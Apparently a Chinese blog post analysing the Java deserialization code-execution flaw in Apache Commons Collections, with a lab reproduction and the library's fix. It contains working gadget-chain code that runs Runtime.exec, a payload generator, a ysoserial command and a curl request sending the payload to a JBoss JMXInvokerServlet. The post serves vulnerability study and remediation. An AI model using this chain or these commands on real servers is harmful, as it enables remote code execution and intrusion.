&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; 这样如果我们在序列化TransformedMap时指定了恶意的 InvokeTransformer 那么在MapEntry 执行 setValue 调用的时候，就会触发我们的 InvokeTransformer 中设置的恶意代码。&lt;br&gt;例如以下例子：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;33&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;import java.util.HashMap;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.util.Map;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.util.Map.Entry;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import org.apache.commons.collections.Transformer;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import org.apache.commons.collections.functors.ChainedTransformer;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import org.apache.commons.collections.functors.ConstantTransformer;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import org.apache.commons.collections.functors.InvokerTransformer;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import org.apache.commons.collections.map.TransformedMap;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;public class deserial &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; public static void main(String[] args) throws Exception &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Transformer[] transformers = new Transformer[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; new ConstantTransformer(Runtime.class),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; new InvokerTransformer(&amp;quot;getMethod&amp;quot;, new Class[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; String.class, Class[].class &amp;#125;, new Object[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;getRuntime&amp;quot;, new Class[0] &amp;#125;),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; new InvokerTransformer(&amp;quot;invoke&amp;quot;, new Class[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Object.class, Object[].class &amp;#125;, new Object[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; null, new Object[0] &amp;#125;),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; new InvokerTransformer(&amp;quot;exec&amp;quot;, new Class[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; String.class &amp;#125;, new Object[] &amp;#123;&amp;quot;calc.exe&amp;quot;&amp;#125;)&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Transformer transformedChain = new ChainedTransformer(transformers);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Map innerMap = new HashMap();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; innerMap.put(&amp;quot;value&amp;quot;, &amp;quot;value&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; onlyElement.setValue(&amp;quot;foobar&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;h3 id=&quot;1-3-4-AnnotationInvocationHandler-readObject-gt-MapEntry-setValue&quot;&gt;&lt;a href=&quot;#1-3-4-AnnotationInvocationHandler-readObject-gt-MapEntry-setValue&quot; class=&quot;headerlink&quot; title=&quot;1.3.4 AnnotationInvocationHandler.readObject()-&amp;gt;MapEntry.setValue()&quot;&gt;&lt;/a&gt;1.3.4 AnnotationInvocationHandler.readObject()-&amp;gt;MapEntry.setValue()&lt;/h3&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; 但是目前的构造还需要依赖于触发Map中某一项去调用setValue()，我们需要想办法通过readObject()直接触发。&lt;br&gt;我们观察到java运行库中有这样一个类AnnotationInvocationHandler，这个类有一个成员变量memberValues是Map类型，同时它在 readObject 中对每一项 memberValue 都调用了 setValue，如下所示：&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; 我们可以看到在 AnnotationInvocationHandler类的 readObject 函数中刚好有一个元素memberTypes，被调用了 setValue()方法，因此只需要构造一个 TransformedMap ，将它的 transformer 设置为 InvokeTransformer，然后将其用反射封装为一个AnnotationInvocationHandler类的对象。那么在反序列化在AnnotationInvocationHandler.readObject(xx)事就会触发漏洞,需要注意,这里的触发的类为AnnotationInvocationHandler。&lt;br&gt;生成 Payload 的一种方法如下：&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;31&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;32&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;33&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;34&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;35&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;36&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;37&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;38&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;39&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;40&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;41&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;42&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;43&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;44&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;45&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;46&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;import java.io.File;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.io.FileOutputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.io.ObjectOutputStream;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.lang.annotation.Target;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.lang.reflect.Constructor;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.util.HashMap;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import java.util.Map;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import org.apache.commons.collections.Transformer;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import org.apache.commons.collections.functors.ChainedTransformer;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import org.apache.commons.collections.functors.ConstantTransformer;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import org.apache.commons.collections.functors.InvokerTransformer;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;import org.apache.commons.collections.map.TransformedMap;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;public class deserial &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; public static void main(String[] args) throws Exception &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Transformer[] transformers = new Transformer[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; new ConstantTransformer(Runtime.class),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; new InvokerTransformer(&amp;quot;getMethod&amp;quot;, new Class[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; String.class, Class[].class &amp;#125;, new Object[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;quot;getRuntime&amp;quot;, new Class[0] &amp;#125;),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; new InvokerTransformer(&amp;quot;invoke&amp;quot;, new Class[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Object.class, Object[].class &amp;#125;, new Object[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; null, new Object[0] &amp;#125;),&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; new InvokerTransformer(&amp;quot;exec&amp;quot;, new Class[] &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; String.class &amp;#125;, new Object[] &amp;#123;&amp;quot;calc.exe&amp;quot;&amp;#125;)&amp;#125;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Transformer transformedChain = new ChainedTransformer(transformers);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Map&amp;lt;String, String&amp;gt; innerMap = new HashMap&amp;lt;String, String&amp;gt;();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; innerMap.put(&amp;quot;value&amp;quot;, &amp;quot;value&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Class cl = Class.forName(&amp;quot;sun.reflect.annotation.AnnotationInvocationHandler&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ctor.setAccessible(true);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; Object instance = ctor.newInstance(Target.class, outerMap);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; File f = new File(&amp;quot;payload.bin&amp;quot;);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; out.writeObject(instance);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; out.flush();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; out.close();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; &amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;h1 id=&quot;2-漏洞利用实例&quot;&gt;&lt;a href=&quot;#2-漏洞利用实例&quot; class=&quot;headerlink&quot; title=&quot;2.漏洞利用实例&quot;&gt;&lt;/a&gt;2.漏洞利用实例&lt;/h1&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; 针对 java 反序列化漏洞，国外有黑客已经写了开源的漏洞利用工具ysoserial&lt;br&gt;，国内也有大神根据该工具制作了 Jenkin 的利用工具。&lt;/p&gt;

&lt;h2 id=&quot;2-1-Jenkins1-514漏洞利用&quot;&gt;&lt;a href=&quot;#2-1-Jenkins1-514漏洞利用&quot; class=&quot;headerlink&quot; title=&quot;2.1 Jenkins1.514漏洞利用&quot;&gt;&lt;/a&gt;2.1 Jenkins1.514漏洞利用&lt;/h2&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; 首先拿到一个Java应用，需要找到一个接受外部输入的序列化对象的接收点，即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用（例如readObject()）来寻找，也可以直接通过对应用交互流量进行抓包，查看流量中是否包含java序列化数据来判断，java序列化数据的特征为以标记（ac ed 00 05）开头。&lt;br&gt;确定了反序列化输入点后，再查看ClassPath 是否有 ApacheCommonsCollections 库&lt;br&gt;利用国内的漏洞利用工具利用&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; 服务器报异常。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; 对于最新版本的2.7.3的 Jenkins则无法成功。&lt;/p&gt;

&lt;h2 id=&quot;2-2-Jboss6-0-0-Final攻击&quot;&gt;&lt;a href=&quot;#2-2-Jboss6-0-0-Final攻击&quot; class=&quot;headerlink&quot; title=&quot;2.2 Jboss6.0.0.Final攻击&quot;&gt;&lt;/a&gt;2.2 Jboss6.0.0.Final攻击&lt;/h2&gt;&lt;h3 id=&quot;2-2-1-生成-payload&quot;&gt;&lt;a href=&quot;#2-2-1-生成-payload&quot; class=&quot;headerlink&quot; title=&quot;2.2.1 生成 payload&quot;&gt;&lt;/a&gt;2.2.1 生成 payload&lt;/h3&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; 使用ysoserial生成 payload，如下：&lt;/p&gt;

&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;java -jar ysoserial-0.0.4-all.jar CommonsCollections1 &amp;apos;touch /tmp/hacked&amp;apos; &amp;gt; payload.bin&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;h3 id=&quot;2-2-2-用-curl-发送-payload：&quot;&gt;&lt;a href=&quot;#2-2-2-用-curl-发送-payload：&quot; class=&quot;headerlink&quot; title=&quot;2.2.2 用 curl 发送 payload：&quot;&gt;&lt;/a&gt;2.2.2 用 curl 发送 payload：&lt;/h3&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;curl --header &amp;apos;Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue&amp;apos; --data-binary &amp;apos;@payload.out&amp;apos; http://127.0.0.1:8080/invoker/JMXInvokerServlet&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;img src=&quot;http://i1.piimg.com/567571/8122b74dfda459f6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;可以看到&lt;code&gt;/tmp/hacked&lt;/code&gt; 被创建&lt;br&gt;&lt;img src=&quot;http://i1.piimg.com/567571/7154118dfaf01543.png&quot; alt=&quot;&quot;&gt;&lt;br&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;但是目前存在的问题是其他有的指令无法执行。&lt;/p&gt;

&lt;h1 id=&quot;3-漏洞修复&quot;&gt;&lt;a href=&quot;#3-漏洞修复&quot; class=&quot;headerlink&quot; title=&quot;3.漏洞修复&quot;&gt;&lt;/a&gt;3.漏洞修复&lt;/h1&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; ApacheCommonsCollections在3.2.2中修复了漏洞。对这些不安全的Java类的序列化支持增加了开关，默认为关闭状态。涉及的类包括&lt;code&gt;CloneTransformer,ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;例如 InvokerTransformer 中，如果对该对象序列化，则会报异常。&lt;br&gt;&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;17&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;/**&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * Overrides the default writeObject implementation to prevent&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * serialization (see COLLECTIONS-580).&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; */&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;private void writeObject(ObjectOutputStream os) throws IOException &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; os.defaultWriteObject();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;/**&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * Overrides the default readObject implementation to prevent&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; * de-serialization (see COLLECTIONS-580).&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; */&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException &amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt; is.defaultReadObject();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;/p&gt;

&lt;h1 id=&quot;参考资料&quot;&gt;&lt;a href=&quot;#参考资料&quot; class=&quot;headerlink&quot; title=&quot;参考资料&quot;&gt;&lt;/a&gt;参考资料&lt;/h1&gt;&lt;p&gt;&lt;span id=&quot;ref_3&quot;&gt;[3]:&lt;/span&gt; &lt;a href=&quot;https://github.com/frohoff/ysoserial/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;https://github.com/frohoff/ysoserial/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;span id=&quot;ref_3&quot;&gt;[2]:&lt;/span&gt;&lt;br&gt;&lt;a href=&quot;http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;span id=&quot;ref_3&quot;&gt;[3]:&lt;/span&gt;&lt;br&gt;&lt;a href=&quot;http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles&lt;/a&gt;&lt;/p&gt;

</content>

<summary type="html">

&lt;h1 id=&quot;Java-反序列化任意代码执行漏洞分析与利用&quot;&gt;&lt;a href=&quot;#Java-反序列化任意代码执行漏洞分析与利用&quot; class=&quot;headerlink&quot; title=&quot;Java 反序列化任意代码执行漏洞分析与利用&quot;&gt;&lt;/a&gt;Java 反序列化任意代码执行漏洞分析与利用&lt;/h1&gt;&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;2015年的1月28号，Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[&lt;a href=&quot;#ref_3&quot;&gt;3&lt;/a&gt;]，报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行。同年11月6日，FoxGlove Security安全团队的@breenmachine在一篇博客中介绍了如何利用Java反序列化漏洞，来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用，实现远程代码执行。&lt;br&gt;距离漏洞发布已经有了一年多的时间，仍然有很多网站仍未修复漏洞。&lt;/p&gt;

